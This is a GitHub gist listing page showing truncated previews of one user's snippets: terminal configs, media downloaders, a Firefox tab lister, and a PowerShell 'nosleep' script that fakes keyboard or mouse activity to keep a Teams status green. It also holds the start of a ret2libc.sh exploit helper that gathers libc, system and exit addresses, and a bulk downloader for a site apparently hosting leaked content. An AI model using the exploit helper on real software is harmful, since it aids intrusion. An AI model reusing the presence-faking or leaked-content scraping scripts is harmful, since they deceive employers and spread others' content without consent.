Skip to content

Instantly share code, notes, and snippets.

@mmpx12
mmpx12 / nosleep.ps1
Last active October 7, 2025 10:27
prevent sleep and keep team status green
# Simulate pressing CAPSLOCK every minute
$WShell = New-Object -ComObject "WScript.Shell"
while ($true) {
$WShell.SendKeys('{CAPSLOCK}')
Start-Sleep -Seconds 60
}
# one line for easy copy-paste
$wsh=New-Object -Com "WScript.Shell";while($true){$wsh.SendKeys('{CAPSLOCK}');sleep 200}
Add-Type @"
using System;
using System.Runtime.InteropServices;
public class Mouse {
[DllImport("user32.dll")]
public static extern bool SetCursorPos(int X, int Y);
[DllImport("user32.dll")]
public static extern bool GetCursorPos(out POINT lpPoint);
@mmpx12
mmpx12 / .tmux.conf
Created July 30, 2025 12:36
tmux conf
# ====================
# Terminal Configuration
# ====================
set -g default-terminal "xterm-256color"
set -ga terminal-overrides ",xterm-256color:Tc"
set -g default-command 'exec /bin/bash'
# ===============
# Mouse Behavior
# ==================
screen -t 1
screen -t 2
screen -t 3
altscreen on
term screen-256color
escape ^bB
bind ',' prev
bind '.' next
defscrollback 10000
short_pwd() {
local dir="${PWD/#$HOME/~}"
IFS='/' read -ra parts <<< "$dir"
if (( ${#parts[@]} > 4 )); then
echo ".../${parts[-3]}/${parts[-2]}/${parts[-1]}"
else
echo "$dir"
fi
}
@mmpx12
mmpx12 / leakedzone.sh
Created August 21, 2023 04:20
leakedzone downloader
#!/usr/bin/bash
function GetVideos(){
username="$1"
page=0
while true; do
a=($(curl -s "https://leakedzone.com/$username?page=$page&type=videos&order=0" \
-H 'X-Requested-With: XMLHttpRequest' | \
jq -r '.[]|(.slug + "/" + .stream_url_play)'))
n=0
#!/data/data/com.termux/files/usr/bin/bash
echo -e "\e[32m"
cd ~/storage/downloads
if grep youtu <<< "$1" >/dev/null; then
youtube-dl -i --embed-thumbnail --extract-audio --audio-format mp3 -o "%(title)s.%(ext)s" "$1"
elif grep twitter <<< "$1" >/dev/null; then
if [[ $(tr -cd '/' <<<"$1" | wc -c) -eq 3 ]]; then
userid=$(cut -d '/' -f 4 <<< "$1" | cut -d '?' -f 1)
echo "$userid"
@mmpx12
mmpx12 / ret2libc.sh
Last active February 25, 2021 23:31
#!/usr/bin/bash
# For 32 bit only
# usage: bash ret2libc.sh program 155 (offset)
# get address
libc_path="$(ldd "$1" | grep libc | awk -F'[>(]' '{print $2}' | tr -d " ")"
libc_add="$(ldd "$1" | grep libc | awk -F'[()]' '{print $2}')"
system_add="0x$(readelf -s "$libc_path" | grep ' system@@' | awk '{print $2}')"
exit_add="0x$(readelf -s "$libc_path" | grep ' exit@@' | awk '{print $2}')"
@mmpx12
mmpx12 / fftab
Created February 8, 2021 16:03
list firefox open tabs
#!/usr/bin/bash
export opentabs=$(find /home/$USER/.mozilla/firefox/*.default-release//sessionstore-backups/recovery.jsonlz4);
a=0
while read line title; do
a=$((++a))
echo -e "\e[0;1;38;5;196m╭─[\e[0;38;5;40m$a\e[0;1;38;5;160m]\e[0;93m→\e[0;38;5;38m $line\n\e[0;1;38;5;196m╰─▪ \e[0;38;5;155m$title"
done < <(python3 <<< $'import os, json, lz4.block
f = open(os.environ["opentabs"], "rb")
magic = f.read(8)